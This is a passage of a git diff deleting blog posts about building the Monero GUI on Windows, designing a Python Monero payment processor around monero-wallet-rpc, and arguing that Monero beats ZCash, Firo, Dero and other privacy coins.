-``` - -## Building - -1. Optionally enable console mode for GUI projects by commenting out `set(EXECUTABLE_FLAG WIN32)` from `src/CMakeLists.txt` (thanks @selsta) - - Run `build/release/bin/monero-wallet-gui.exe` in the VSCode terminal after a build (next step) - -2. Run the build command (5 minutes) - - For `monero-gui`, you can either use the VSCode debugger (workspace settings) or run `make release-win64`. The debug builds weren't working for me. - - For `monero`, same as above but try using `debug-static-win64` instead (need to edit `.vscode/tasks.json[0] > windows > args[0]`) - - If the debug build failed, you might need to `make clean` for the release build to work - -3. Troubleshooting failures - - - build failed because of missing library - - build release after a make clean - - `pacman -S mingw-w64-x86_64-name` (where name is the libname with and without lib) - - Search for the library (with and without the lib prefix) on [packages.msys2.org](https://packages.msys2.org/search). Click on relevant search results and install the binary package starting with `mingw-w64-x86_64` - - `make clean` before building - - runtime error from Qt failing to load plugin? - - make clean - - uninstall all qt packages using `pacman -R $(pacman -Qq | grep qt)` - - install qt using `pacman -S mingw-w64-x86_64-qt5 --noconfirm` - - -4. For a `monero-gui` full build, use `cd build/release && make deploy` after running `make release-win64` - - If the build fails due to DLL copy error, follow the troubleshooting instructions in step 4 and let me know what worked so that I can update this article - -## Contributing Anonymously - -If you want to contribute anonymously, I suggest you git commit on a separate branch than the default one. -After you've committed your changes, run the following from your branch. - -`git format-patch master --stdout > ~/Downloads/PATCH_NAME.patch` - -Here I've assumed that the default branch is master, but it is entirely possible when working on other projects where the default branch is not master. Default branch names I've seen are `dev` and `main`. - -After you've created a patch, you can post it on #monero-dev or #monero-gui. - -- [monero-dev matrix](https://matrix.to/#/#monero-dev:monero.social) -- [monero-gui matrix](https://matrix.to/#/#monero-gui:monero.social) -- [monero-dev IRC](irc://irc.libera.chat/#monero-dev) -- [monero-gui IRC](irc://irc.libera.chat/#monero-gui) - -Funny thing. My house has these Plume devices which blocks matrix.to links, so I'm running a VPN a lot of the time now. - -## Git Situations - -I will assume you can figure out yourself how to commit your code changes and push them to your GitHub fork. -However, I will provide some git commands to use for common occurrences. I am not a git guru so I use GitHub Desktop + VS Code most of the time. - -I use the [Git Graph](https://marketplace.visualstudio.com/items?itemName=mhutchie.git-graph) extension to avoid the CLI for rebasing, squashing commits, and other actions -where GitHub Desktop is inadequate. - -### Resolving Merge Conflicts or Syncing with Original Repo - -Suppose you are developing a feature and now your forked repo is many commits behind the upstream target branch. Or your pull request cannot be merged due to at least one conflict (a conflict arises when git cannot determine whose change should be respected because there are exclusive commits in two different branches that changed the same thing). - -Solution: rebase. A rebase is when you sandwich exclusive commits from another branch between the shared commits within your branch and your exclusive commits. - -1. Ensure you are on the branch with your commits. Use `git checkout branchName` if you aren't. -2. `git remote add upstream ORIGINAL_REPO_LINK` (CLI) -3. `git rebase upstream/master` (CLI) -4. Resolve conflicts (IDE like VSCode or CLI editor) -5. Commit and force push (UI or CLI) - -If you did not fork the repo, life is a bit easier as you can skip step 2 and use the command `git rebase master` for step 3. - -### Squashing Commits - -Suppose you went on a commit rampage just for one feature. Everything works, so one commit is more elegant than many commits. -To perform a squash, reset your branch to the commit you don't want to squash. Commit your changes and force push. Make sure -the commit you are resetting to is on the same branch. Otherwise you are performing a rebase and might need to resolve a merge conflict. - -## Conclusion - -I hope this was helpful. I spent 8+ hours writing and debugging over two days. Feel free to donate some Monero. -[84PR6SkYd5zaFLKDjAFrQfbaAg2c7SV3q3XDZ15QCpEZUggrN4YzY7n8m9XC3deXjo41yWHTm1LrsUpPTYGnRQbD9Cwp8En](monero:84PR6SkYd5zaFLKDjAFrQfbaAg2c7SV3q3XDZ15QCpEZUggrN4YzY7n8m9XC3deXjo41yWHTm1LrsUpPTYGnRQbD9Cwp8En) - -![monero:84PR6SkYd5zaFLKDjAFrQfbaAg2c7SV3q3XDZ15QCpEZUggrN4YzY7n8m9XC3deXjo41yWHTm1LrsUpPTYGnRQbD9Cwp8En](https://elijahlopez.ca/static/images/monero.png) diff --git a/content/posts/monero-payment-processing.md b/content/posts/monero-payment-processing.md deleted file mode 100644 index 0ccdf4e79..000000000 --- a/content/posts/monero-payment-processing.md +++ /dev/null @@ -1,309 +0,0 @@ ---- -title: "How to Create a Monero Payment Processor" -date: 2022-06-10T20:13:16-04:00 -draft: false -tags: - - monero - - cryptocurrency - - programming - - tutorial - - python -summary: "Design document for creating a monero processor, based on the payment processor I implemented on lenerva.com. These days, I'd recommend spinning up monero-pay on a server, although support for mempool webhooks is a missing feature." ---- - -## Preface - -These days, I'd recommend spinning up monero-pay on a server, although support for mempool webhooks is a missing feature. In January 2022, I created my very own [ecommerce store](https://lenerva.com/store/) with the following features: - -- From scratch -- JavaScript-free -- Monero acceptance via my custom processor -- Credit-Card acceptance via Stripe Sessions -- Drop-shipping integrated - -This is more of a design document than a copy-paste solution. - -At the end I mention an alternative, more long-term solution than the short-term kinda complicated cost-effective solution I made. - -{{< toc >}} - -## Introduction - -For an MVP, you need to set environment variables for each backend server, such that each server has a corresponding ACCOUNT number for your Monero wallet. Each of these servers will have the same view-wallet opened through monero-wallet-rpc. [Logistics for backend](#logistics). - -## Supporting Monero Payment Method - -In your backend, when a user creates an order and selects Monero as the payment method, you should send an API request the monero-wallet-rpc that is running. Here is a snippet of my code. The relevant portion is the request as well as the error checking. - -```py -############ -# Defined in modules/monero.py -# two undefined func/var are os.environ related -XMR_RPC_PORT = '38088' if is_dev() and STAGENET_IN_DEV else '18088' -# TODO: v1.5 use ipv6 -XMR_RPC_ENDPOINT = f'http://127.0.0.1:{XMR_RPC_PORT}/json_rpc' - -def xmr_rpc_api(method_name, **params): - rpc_defaults = {'jsonrpc': '2.0', 'id': '0'} - if '_in' in params: - params['in'] = params.pop('_in') - return requests.post(XMR_RPC_ENDPOINT, json={**rpc_defaults, 'method': method_name, 'params': params}, auth=XMR_RPC_AUTH) -######## - -# called in the payment_method == monero order creation method -def finish_order_monero(order): - """ Updates base order for paying with Monero """ - assert order['payment_method'] == 'monero' - # Monero orders expire after one hour - server_num = int(os.environ['SERVER_NUM']) - try: - # https://monerodocs.org/interacting/monero-wallet-rpc-reference/#create_address - # create a new address for account idx server_num - # PITFALL: it is imperative that the wallet file is not replaced, to avoid create_address returning an already used address - # if the wallet is ever replaced, before starting the server, either change the account number or create addresses until it matches the address used by the last monero order - r = xmr_rpc_api('create_address', account_index=server_num, label='lenerva-store-payment').json() - while r.get('error'): - if r['error']['code'] == -14: # account index is out of bound (not created yet) - account_created = False - while not account_created: - r = xmr_rpc_api('create_account', label='lenerva-store').json() - account_created = r['result']['account_index'] == server_num - r = xmr_rpc_api('create_address', account_index=server_num, label='lenerva-store-payment').json() - address, address_idx = r['result']['address'], r['result']['address_index'] - total_xmr = usd_to_xmr(order['total_usd']) - order.update({'xmr_address': address, 'xmr_address_idx': address_idx, - 'total_xmr': total_xmr, 'total_xmr_atomic': total_xmr * 1e12}) - except Exception as e: - raise MoneroError(repr(e)) from e - -# showing order page to user -xmr_qr_data = f"monero:{order['xmr_address']}?tx_amount={order['total_xmr']}" \ - f"&tx_description=Goods%20and%20Services&recipient_name=LENERVA" - -``` - -Great, so users can now create an order with monero as the payment method. But how do they pay? When the order is created, in contrast to Stripe's Session, you can redirect the user to the order page and show them a QR code of `xmr_qr_data`. You will need to create the qr code yourself. If you use Python, install pyqrcode and pypng. - -## My Processing Code - -Moving on to processing. This processing function is on a different thread/process. I used multiprocessing in Python to ensure that whenever the backend starts up, this function gets called. Modify to fit your needs. Important things in this function are: double spend protection, > 1 confirmations required, 1 cent tolerance, sums all payments to an address instead of just one. When the order is marked as paid, your order processing task/service can take care of it. - -```py -def monitor_xmr_payments(run_file: str): - """ - Monitor Monero Payments Here - Started from on_starting: multiprocessing - One Monero Node per Server (Droplet) - Unique Account per Server (Droplet) - `run_file` implies that the main process is still running - """ - # one hour order expiration - XMR_ORDER_TIMEOUT = int(os.environ.get('XMR_ORDER_TIMEOUT', '3600')) - XMR_EXTRA_TIME = int(os.environ.get('XMR_EXTRA_TIME', '3600')) - ACCOUNT_IDX = int(os.environ['SERVER_NUM']) - print('XMR Monitoring service started') - update_check_time = 0 - while os.path.exists(run_file): - time_start = time.monotonic() - orders_to_check = Db.orders.find({'payment_method': 'monero', 'payment_confirmed': False, - 'expired': False, 'server_num': ACCOUNT_IDX}) - subaddr_indices = [] - expired_orders = [] # ids - address_idx_orders = {} # payment_addr_idx: order_doc - for order in orders_to_check: - addr_idx = order['xmr_address_idx'] - address_idx_orders[addr_idx] = order - subaddr_indices.append(addr_idx) - if order['timestamp'] + XMR_ORDER_TIMEOUT < time.time() and order['xmr_received'] == 0: - # don't want to expire orders where payments have already started - expired_orders.append(order['_id']) - elif order['timestamp'] + XMR_ORDER_TIMEOUT + XMR_EXTRA_TIME < time.time(): - # expire orders that took too long to complete - expired_orders.append(order['_id']) - if expired_orders: - Db.orders.update_one({'_id': {'$in': expired_orders}}, {'$set': {'expired': True}}) - balances = {} # xmr_address_idx: {total_xmr_received ($set), total_confirmed_xmr ($set)} - # check for payments (transfers) - try: - # https://monerodocs.org/interacting/monero-wallet-rpc-reference/#get_transfers - if not subaddr_indices: - raise StopIteration('No addresses to monitor') - r = xmr_rpc_api('get_transfers', _in=True, out=False, pending=True, pool=True, - account_index=ACCOUNT_IDX, subaddr_indices=subaddr_indices).json() - for transfer in chain(r['result'].get('in', []), r['result'].get('pending', [])): - addr_idx = transfer['subaddr_index']['minor'] - if addr_idx not in address_idx_orders: - continue - order = address_idx_orders[addr_idx] - if addr_idx not in balances: - balances[addr_idx] = {'xmr_received': 0, 'xmr_confirmed': 0} - balance = balances[addr_idx] - # check timestamp just in case, double_spend_seen just in case, - if (transfer['timestamp'] > order['timestamp'] and not transfer['double_spend_seen'] - and addr_idx in address_idx_orders): - balance['xmr_received'] += transfer['amount'] - if transfer['confirmations'] >= transfer['suggested_confirmations_threshold'] and transfer['confirmations'] > transfer.get('unlock_time', 0): - balance['xmr_confirmed'] += transfer['amount'] - # check if confirmation resulted in order payment being fulfilled - # no need for buffer since fees are taken in addition to amount being sent - if balance['xmr_confirmed'] >= order['total_xmr_atomic']: - # payment confirmed, therefore, we can update the database - Db.orders.find_one_and_update({'_id': order['_id']}, {'$set': { - 'xmr_received': round(balance['xmr_received'] / 1e12, 12), - 'xmr_confirmed': round(balance['xmr_confirmed'] / 1e12, 12), - 'payment_confirmed': True - }}) - # del addr_idx from balances since we don't need to update this order again - del address_idx_orders[addr_idx] - del balances[addr_idx] - # quick exit for fast restarts - if not os.path.exists(run_file): - return - for addr_idx in balances: - # convert from atomic - xmr_received = round(balances[addr_idx]['xmr_received'] / 1e12, 12) - xmr_confirmed = round(balances[addr_idx]['xmr_confirmed'] / 1e12, 12) - order = address_idx_orders[addr_idx] - if xmr_received > order['xmr_received'] or xmr_confirmed > order['xmr_confirmed']: - # update xmr_* values for order - enough_xmr_sent = xmr_received >= order['total_xmr_atomic'] - Db.orders.update_one({'_id': order['_id']}, {'$set': { - 'xmr_received': xmr_received, - 'xmr_confirmed': xmr_confirmed, - 'enough_xmr_sent': enough_xmr_sent, - }}) - except StopIteration: - pass - except requests.RequestException: - print('XMR RPC Connection Error - wallet is probably still syncing') - # check for updates, and start update procedure - if not is_dev() and update_check_time < time.time(): - # check for an update every 10 minutes - update_monero_rpc() - update_check_time = time.time() + 600 - # sleep to conserve resources - if (time_taken := time.monotonic() - time_start) < INTERVAL: - time.sleep(INTERVAL - time_taken) -``` - -## Logistics - -### Prerequisites - -- Monero view-wallet (derived from full wallet) -- Monero-wallet-rpc running on server with wallet open -- A monero node (daemon) url. You can either use your own -or a public one. I use my own to ensure uptime - -### Monero-Wallet-RPC - -To install monero on a Linux server, you can use my bash script. -`install_monero()` can also be called if you need to update monero on a -server, like a remote node. - -```bash -add_to_path() { - # if .env_path DNE or the parser has not been added to ~/.bashrc, - if [ ! -f ~/.env_path ] && ! grep -Fq ".env_path" ~/.bashrc; then - # shellcheck disable=SC2129 - echo "if [ -f ~/.env_path ]; then" >> ~/.bashrc - # shellcheck disable=SC2140 - echo " export PATH=\$PATH:\$(python3 -c "\""import os; from pathlib import Path; print(':'.join((line.strip() for line in open(f'{Path.home()}/.env_path').readlines() if line.strip())))"\"")" >> ~/.bashrc - echo "fi" >> ~/.bashrc - fi - # add directories to path - for path in "$@"; do - if [ ! -f ~/.env_path ] || ! grep -Fq "$path" ~/.env_path; then - # .env_path DNE or string not in .env_path - echo "$path" >> ~/.env_path - echo "Added $path to PATH" - fi - done - source ~/.bashrc -} - -# shellcheck disable=SC2120,SC2164 -install_monero() { - # Install Monero (download and extract to ~/bin/monero) - if [ ! -f ~/bin/monero/monerod ] || [ ! $1 = "--force" ]; then - mkdir -p ~/Downloads && cd ~/Downloads - echo "Downloading and extracting Monero binaries" - curl -L https://downloads.getmonero.org/cli/linux64 | tar xj - rm -r -f ~/bin/monero && mkdir -p ~/bin - mv monero-*-linux-* monero - mv monero ~/bin - echo "Downloaded Monero binaries to" ~/bin - else - echo "INFO: Monero binaries already installed" - fi - add_to_path ~/bin/monero - source ~/.bashrc -} -``` - -To ensure the RPC-wallet is running, you can add a "start if not already running" function to your backend. I'll share the code I use myself in the future, but these are the arguments for running your RPC. For development, ask the user to enter the wallet password since that wallet would most likely be spendable. - -Create a file `configs/monero-rpc.common.conf` to contain the base configuaration of the RPC. Other parameters are based upon whether we are running the website in devevelopment or production. - -```conf -non-interactive=1 -log-file="monero-wallet-rpc.log" -max-log-file-size=5000000 -max-log-files=2 -log-level=0 -``` - -```py -monero_rpc_cmd = [str(monero_rpc), '--config-file', 'other_files/monero-rpc.common.conf', - '--rpc-login', 'monero:' + os.environ['XMR_RPC_PW'], - '--trusted-daemon' if TRUSTED_DAEMON else '--untrusted-daemon', - '--rpc-bind-port', XMR_RPC_PORT, '--wallet-file', wallet_file, '--password'] -# production only: (requires XMR_WALLET_PW set in .env or system environemnt variable) -monero_rpc_cmd.extend((os.environ['XMR_WALLET_PW'], '--daemon-address', MAINNET_DAEMON)) -``` - -## Limitations - -Each account index actually corresponds to the view wallet history on each server. If those wallets ever get replaced, the servers need to be assigned new account numbers. You can avoid this pitfall by adding a database check to see if the address was in use, but I didn't do that for performance reasons. It's better to have a table in your database for -determining which account index was last assigned t a server, and then use a script that increase this number whenever a view-wallet needs to be transferred onto a server. This way, you avoid having to remember the pitfall. - -`monero-wallet-rpc` would need to be manually updated, but since the scanning largely depends on the daemon, which I have an update script for, this issue is not as severe. - -When I get back to prioritizing the ecommerce store, I will a) add more items to sell b) automation. - -## Micro-Service Approach - -Obviously, my method is complicated, but it does save me $5/month. If I was a manager at Google, I'd do it the following way. - -Create a payment processor API that can horizontally scale. Instead of assigning an account number to each app server, only assign it to API servers. There should be at least one API server per data centre region in use (DigitalOcean reference). - -This API would encapsulate the following - -- create_invoice(amount, expiry=3600, currency='XMR', qrCode=false) - - returns an address, the payment URI, and optionally the png data for the QR code, possibly even an invoice id (positive number). -- check_invoice(address=None, invoice_id=None) - - returns amount_in_mempool, amount_received (1 to X confirmations), amount_confirmed (X confirmations), and paid which is a boolean. -- when a user registers for the API, they can either provide a view-wallet, or a wallet is created for them -- if no view-wallet is provided, there should be functionality to transfer upon payments, through a UI, or through a more restrictive API - -A non-custodian processing service does not exist as far as I know, so I might create one and charge a monthly $5 fee. - -### Pros - -- allows using the same architecture across a multitude of apps -- good for enterprise -- decouples processing from application code -- long-term perfection - -### Cons - -- requires additional servers and calls to said server -- bad for short-term - - -## Donation - -Feel free to donate some Monero. -[84PR6SkYd5zaFLKDjAFrQfbaAg2c7SV3q3XDZ15QCpEZUggrN4YzY7n8m9XC3deXjo41yWHTm1LrsUpPTYGnRQbD9Cwp8En](monero:84PR6SkYd5zaFLKDjAFrQfbaAg2c7SV3q3XDZ15QCpEZUggrN4YzY7n8m9XC3deXjo41yWHTm1LrsUpPTYGnRQbD9Cwp8En) - -![monero:84PR6SkYd5zaFLKDjAFrQfbaAg2c7SV3q3XDZ15QCpEZUggrN4YzY7n8m9XC3deXjo41yWHTm1LrsUpPTYGnRQbD9Cwp8En](https://elijahlopez.ca/static/images/monero.png) diff --git a/content/posts/monero-vs-privacy-coins.md b/content/posts/monero-vs-privacy-coins.md deleted file mode 100644 index ba02a30a9..000000000 --- a/content/posts/monero-vs-privacy-coins.md +++ /dev/null @@ -1,309 +0,0 @@ ---- -title: "Monero vs \"Privacy Coins\"" -date: 2022-02-26T12:48:07-05:00 -draft: false -tags: - - monero - - cryptocurrency -summary: "How do these various privacy coins stack up to the largest one of them all?" ---- - -{{< toc >}} - -## Preface - -Unlike my last article about why Monero is the best crypto as a currency because of its privacy vs. layer 2 solutions, this article is a deep dive on why I continue to choose Monero and not its privacy-related competitors. - -There is a cultural noticeable difference in culture and attitude amongst Monero and other coins. In r/monero, there is always a discussion going on. -In these other privacy coin subreddits however, there is so many posts about price and going to the moon. - -I value quality, so if I make any argumentative mistakes in the article, I will correct them if I am notified. -I have multiple reasons, so if one or two are technically incorrect, my argument will hold. - -1. Monero is the FIRST privacy coin that was NOT PRE-MINED. -2. Monero is the **most used** *privacy* crypto -3. Monero is actively improved/developed -4. Monero Changes for the Better - - It's a fork of ByteCoin without the [premine and shadyness](https://bitcointalk.org/index.php?topic=740112) - - Monero innovated beyond ByteCoin with: RandomX ASIC-resistance, Ring-CT, Bulletproofs(+) - - The RandomX mining algorithm does not require modifications via hard forks to maintain its ASIC-resistance - - Monero is superior today than Monero 5 years ago, and Monero in 5 years will be superior to Monero today - - Atomic swaps (infrastructure) -5. Monero's researchers actively create / think of attacks on Monero's privacy so that the protocol can be improved to defend against these attacks. -6. Censorship free, there is even a post called Skepticism Sunday on r/monero! Even my unpopular post critiquing UX was approved. - -I'll start with comparing ZCash since it is propped up as being the runner up to Monero. By comparing Monero to ZCash, -all other coins should make a case that they are better than ZCash before trying to spread Monero FUD. That is why I put in more effort in the ZCash section -than the other coins. - -It's only fair that the lesser known and used privacy cryptocurrencies figure out who the runner up to Monero is. -Otherwise, it'll be impossible for any one person to perform an unbiased comparison of them all to Monero in the future when thousands of people think -claim to be the next Satoshi. This is already the case with arguably subjective things like religion/faith/belief. There are thousands of religions, it is simply unfeasible to conduct a thorough unbiased review of all religions including the less known ones. - -## ZCash - -We won't use trusted setup as an argument for this section, even though as of 2022-2-26, the Halo Arc update that was supposed to remove trusted setup is 28+ days overdue. -What is unavailable is the technical aspects of how the trusted setup will be removed or what replaces it to ensure privacy. - -### zk-SNARKs more like zk-NARKs - -Zk-snarks is an unproven technology simply asserted as secure. The assumptions are relatively new compared to the decades old and reliable elliptic curve cryptography used by Monero. -It'd be like saying RSA is secure because we don't know if products can be back calculated with ease. -We **do** know that products can't be back calculated with ease, and we also know that Quantum computers are a threat. This is called a strong guarantee. - -Since ZCash is built on [unproven technology](https://twitter.com/zooko/status/1016429267175989248) (accessed 2022-12-4), it could have a fatal flaw and is thus one giant experiment. Therefore, if you want digital cash, you can either be a real life guinea pig by using ZCash or use Monero which is based on battle-test technology. One who uses cryptocurrencies is already making a speculation that decentralized money is the future. By trusting ZCash, one is making a second speculation which is that no flaws will be found in ZK-SNARK for two more decades. - -### A Privacy Coin without Privacy Users - -This applies to every coin below since they all have less users than Monero. - -The best privacy would be the best at being untraceable and at protecting users' holdings and their multiple identities. -In 2020, a [team of researchers (PDF)](https://eprint.iacr.org/2020/593.pdf) concluded that 99.9% of ZCash transactions are traceable. -In the abstract, researchers say "strict security and anonymity requirements, … makes the coin effectively untraceable, as shown by *Monero*." - -What does this mean? Optional privacy is junk. If you decide to use shielded transactions on ZCash, you've made a target of yourself since your transactions stick out like a sore thumb! You don't have privacy if you are the only user. - -Most ZCash users don't use shielded addresses and even the miners don't follow the advice of Electric Coin Company to use shielded addresses. -Mining pools get to decide whether miners get to use shielded addresses. Another case of optional privacy simply not working! - -[Transparent to shielded transactions](https://explorer.zcha.in/transactions/537a4edc34ea030216ef0c04e0a977e5efeda53aa497c41560c4ac658a5f5192) don't even hide the amount sent to a shielded address. - -The consequence of this is that users have to consciously remember to use different transparent addresses for people/entities who refuse -to send ZEC to shielded addresses. What a nuisance! It'd be like being in relationships with many women and keeping track of a schedule so that they don't know of each other. - -These are the technical arguments against ZCash. Onwards, I have the more UX and developer based arguments compared to Monero. I also touch on the fact -that there is a 10% dev tax on the total ZCash supply. This is no different than paying government officials just to use cash (the government has a bigger job than just managing its currency). - -### Wallet Experience - -From the picture below, how would the user know if they are sending from a shielded address? They don't know! This hurts the privayc of ZEC users. It hinders privacy without even improving UX. - -![ZCash Wallet 1](/images/crypto/zcash-wallet-1.webp) - -Each address is it's own account, and so no sub-addresses are possible. - -![ZCash Wallet 2](/images/crypto/zcash-wallet-2.webp) - -Compare this to Monero. Each account has infinitely generated subaddresses and the balance is shown on an account basis. - -![Monero Wallet 1](/images/crypto/monero-wallet-1.webp) - -![Monero Wallet 1](/images/crypto/monero-wallet-2.webp) - -The Zecwallet Lite also does not store the wallet encrypted. -I was never asked to create a pass code to decrypt the wallet so anyone who uses ZCash on a computer can have their ZCash stolen if their laptop/computer/storage is accessed by a third party. -I don't know about you, but privacy goes hand in hand with (operating and informational) security. There even is a wallet encryption option, but just like privacy, security is off by default! -To think that these people sponsor Edward Snowden who has the spine to go against the USA but has no spine to scrutinize this project. - -When sending Monero, users do not have to think about if they are sending from the "right" account since each account's primary address shows up as a stealth address in the Ring-CT in the block of the blockchain. -Recipients can't make judgments about your level of care to privacy if you decide to donate with a primary account or other account. -Unlike ZCash, where the recipient will know whether you made a shielded transaction or not, and then make you a target (assuming an all Monero ecosystem or an all ZCash ecosystem). - -ZCash users say ZCash is better because it uses zk-snarks to avoid large transactions sizes. We'll see what happens when we combine this with optional privacy. - -### Horrendous Developer / Testing Experience - -There is also no wallet for Stagenet/testnet, so testing ZCash will be a problem. -Here is the [ZCash testnet](https://zcash.readthedocs.io/en/latest/rtd_pages/testnet_guide.html) in case someone or even myself in the future wants to find -more practical issues with ZCash. - -I was trying to test out ZCash transactions, but ran into major troubles. -First of all, the ZCash GUI wallets don't support testnet. -Secondly, the CLI does not support for on Windows. -Thirdly, because I have WSL, their `zcash-cli` says it requires a `zcash.conf` even though the file exists in same directory as the binary! - -I was trying to test out ZCash because to confirm that creating sheilded transactions are incredibly slow. -There are no demos online showing the time it takes to generate a simple shielded transaction. - -For Monero, below is a video I made demoing a Monero transaction with one receiving address. -The relevant portions took only 10 seconds! Most of the time was spent entering an address, an amount, -entering my password, moving the GUI, and me talking. - -{{< youtube _Sqn7aaR1oM >}} - -Searching online for Zcash demos yields some guy using two webapps and a CLI to send ZEC to many receivers. -He cut the waiting process. - -### Leadership? Of a cryptocurrency? - -Yes, ZCash is basically a publicly traded company, except the owners of ZEC have no power -over the owners of the Codebase. - -There is a developer tax of 10% on the total capped supply. - -No single company owns 10% of the total money of the world, yet ZCash founders think it's reasonable or they think ZCash isn't a global currency. -Users have to pay a tax to keep ZCash in development? -Where's the Linux tax then to use Linux? Linus Torvald should be the richest man alive if this was an ethical thing to do! - -Lastly, ZEC does not use an ASIC resistant PoW algorithm and will become PoS in the future as indicated by its CEO! -Yes, ZEC is a product of centralization, not decentralization. It's CEO had drunkenly admitted to being against privacy for all (criminals here). - -{{< tweet user="zooko" id="863202964416077824" >}} - -It's funny how ZCash pays Edward Snowden, a criminal to the USA, to support ZCash, which would turn around and oust him if he used it in the US. -ZCash's philosophy is "if a state doesn't like you, we don't like you, unless you are an influencer." I had no idea that it's even possible to be a double hypocrite. - -How it can be done is a question but before you think of banning criminals from having privacy, first think about how that's even possible. -And then think about if you would've been a criminal if you had just been living in a different country, such as an authoritarian one. -Venezuela, China, Saudi Arabia, Russia, not that any of these are extreme authoritarianism. - -### A Counter-Argument to Zooko - -The solution to the narrow problem below is random amounts of churning, at least until Seraphis comes and increases the ring signature. - -Zooko believes Monero's privacy obfuscation does not work because of the poisoned outputs attack. -In essence, bad actor A sends to an anonymous address owned by person B, and person B sends monero with this stealth address in the ring signature to bad actor C without anonymity. -If this occurs at least 2 times or with another bad actor, then the bad actors can derive the identity of the anonymous person. - -The thing is, this attack is not full proof because users can send Monero to themselves (churning). -Each churn would increase the distance between the bad actors, and increases the anonymity set. -At a certain point, which requires more research to determine, there would be significant doubt -whether the stealth address included 5 transactions deep is the same user as the one sending the monero. -And if the stealth address is included in someone elses transaction to the bad actor, consider all -accusations void! - -The assumptions that Zooko makes are: - -1. User does not churn -2. Users are sending Monero without anonymity to bad actors - - selling of XMR for fiat one exchanges - - buying goods and services from businesses who don't respect user privacy -3. User is being targeted by state actors, which Zooko says he supports in his drunken tweets as I mentioned previously. - -When it comes to privacy, how privacy tools are used greatly affects the privacy achieved. - -## Oxen - -A PoS (read as proof of stake not piece of shit) fork of Monero, so it's not good for money. However they are trying to innovate in terms of DApps unlike other projects listed here. - -[PoW vs. PoS vs. DPoS](https://blog.elijahlopez.ca/posts/why-monero-is-the-best-crypto-currency/#consensus-algorithm) - -## Secret Network - -It's a PoS (read as both proof of stake and piece of shit). Secret Network has not demonstrated that they are private at all. [Here](https://explorer.secret.dev/tx/0x250f41c1b7988a57ad79503d412c99e1dfba04edb110b0237b7e9e2c31d03645/internal-transactions) is a random transaction I found on their blockchain explorer. - -We see the sender address, the receiver address, the value of the transaction, the balances of both the -[receiver](https://explorer.secret.dev/address/0xF070515d7a05ED5f7b2C50106F615E8275e1b9D2/transactions) and the [sender](https://explorer.secret.dev/address/0x53d77827bE168aB2a911B5A14D0f16D1C5657196/transactions), and by extension transaction history as well. -I've said it before and I'll say it again; Transparent transactions on the blockchain hurt the privacy of all users. In Monero, there are view keys to allow for transactions to be shared without the blockchain showing that. - -Secret Network claims to be private, but the blockchain explorer says otherwise. I have more bad news. - -Let's open their [website](https://scrt.network/). It looks nice, I'll give them that. However, suppose I'm interested in owning SCRT. I go to the page with the wallets and Keplr doesn't support Firefox, neither does Cosmostation, and the second option requires signing up! Privacy but you need to use Chrome? Privacy is interlinked with freedom. You simply can't have one without the other and claim supremacy. - -The bare minimum for any crypto project is a working desktop GUI wallet that doesn't require additional dependencies. I thought Monero's GUI lacks some UX, but amongst the competition, it ranks at the top. - -## MimbleWimble (Grin, Litecoin) - -- [96% of Grin transactions were linked](https://github.com/bogatyy/grin-linkability#faq) because MimbleWimble is flawed -- Like the Lightning Network, users need to actively exchange data in order to receive. Want to receive donations? You'll need to use a website to facilitate the transaction. They did this in the name of scale. But this is a huge downside. Scale is not an issue in Monero, and if it does become an issue, then we can talk about solutions. YouTube itself has managed to stay stable and it stores Petabytes of information. Scale is a relative term and until Monero is over 1TB in size, scale is a non-problem. -- Since it is mimblewimble by default, it is just the successor to Litecoin, and not anything special. If mimblewimble was that good, even Litecoin would be considered as private. In terms of the privacy hierarchy, Grin is at the same level of ZCash, maybe a bit worse since no - -## Beam - -Something like Beam competes with Grin. At this point, I've given up having to do the homework of people for them. -Monero is #1. The burden of proof is on all other cryptos to prove they are better than Grin, ZCash, and Secret Network. -If they can't or don't do that, users shouldn't even pay these projects a piece of mind. Refer to the introduction of this article. - -## Firo - -Very disingenuous. On their home page, they spit out jargon like Lelantus and Lelantus Spark without explanation. -It fails to adhere to their privacy standards tagline. - -- No stealth addresses - - What you give out is what gets put into the chain, this is bad when combined with the next point -- Transaction Data is visible - - Amounts, receiver address, sender address are compltely visible - - [Sample transaction](https://explorer.firo.org/tx/1d78dcade7ed4274b018df96e136c4256992491679a0c448a1380327748f2c77) -- [Dev (Scam) Tax](https://www.reddit.com/r/FiroProject/comments/n70pve/comment/gxang90/) - - A project that forces users to donate, is no open-source project at all! -- Hybrid Consensus - - Firo uses their own FiroPoW algorithm that is optimized for GPUs. - - CPUs are definitely more accessible than GPUs so coins like Firo make the cost of GPUs go up for people who buy them to game and not to mine. - - CPUs are much more in abundance and anyone can start mining on their already owned devices. - - Their reasoning is to sap ETH miners and they throw shade for being anti-botnet which is not true. Botnets are the problem, not what botnets are used for! - - Masternodes (PoS) are used to mititgate 51% attacks. - - The rich get richer by using masternodes which requires $3,000 - -They are either not private at all, or not private by default. -They are definitely disingenuous to say the least in claiming that FIRO is setting privacy standards. -More like Firo is failing to meet the privacy standards. - -Privacy is serious. You should not sweep these problems under the bed as if they don't exist. - -## Dero - -**[Premined](https://github.com/deroproject/documentation/blob/master/premine.md)** - -Monero has come a long way with consenting donations. No project, that aims to be the best, should force users to subsidize its development. - -DERO cannot to be trusted at all. -They used bulletproof technology before the technology was already audited and -the PR person at the time just said ["our devs looked at it okayed it."](https://www.reddit.com/r/CryptoCurrency/comments/8pnt1u/dero_creates_a_new_type_of_dag/e0cvb87/) - -Furthermore, there is no GUI wallet. - -As for their community, they argue from a position of bad faith: - -[Reddit Example](https://www.reddit.com/r/CryptoCurrency/comments/8pnt1u/dero_creates_a_new_type_of_dag/e0cvb87/) - -{{< tweet user="Serena_Fox_CP" id="1010026987321098240" >}} - -This PR lady is just as dead as the project. Anyone that mentions DERO is either arrogant or has malicious intent. -That can be said for many of these coins: DERO, Pirate Chain, Grin, SecretCoin, ZCash. -Disingenuous is the middle name of many projects in this article. - -It is also unusably inefficient. - -{{< tweet user="sethforprivacy" id="1517141767132393472" >}} - -## Pirate Chain - -This is a fork of Zcash without transparent addresses . There's not enough information available to comment on Pirate Chain except for - -["This software is based on zcash and considered experimental and is continuously undergoing heavy development."](https://github.com/PirateNetwork/pirate#build-pirate) - accessed 2022-12-4 - -It uses the same proof of work algorithm as ZCash which is [not ASIC-resistant](https://shop.bitmain.com/?coin=ZEC) - accessed 2022-12-4 - -It's simply not popular enough to warrant a discussion and it should be them to argue against Monero. -Their only argument is usually zk-snarks, but trusting zk-snarks is risky because it requires trusting that the system was setup correctly. -Pirate chain used a trusted setup since it was a ZCash pre-Halo fork. In the privacy and security space, strong guarantees are required and [not probabilities or 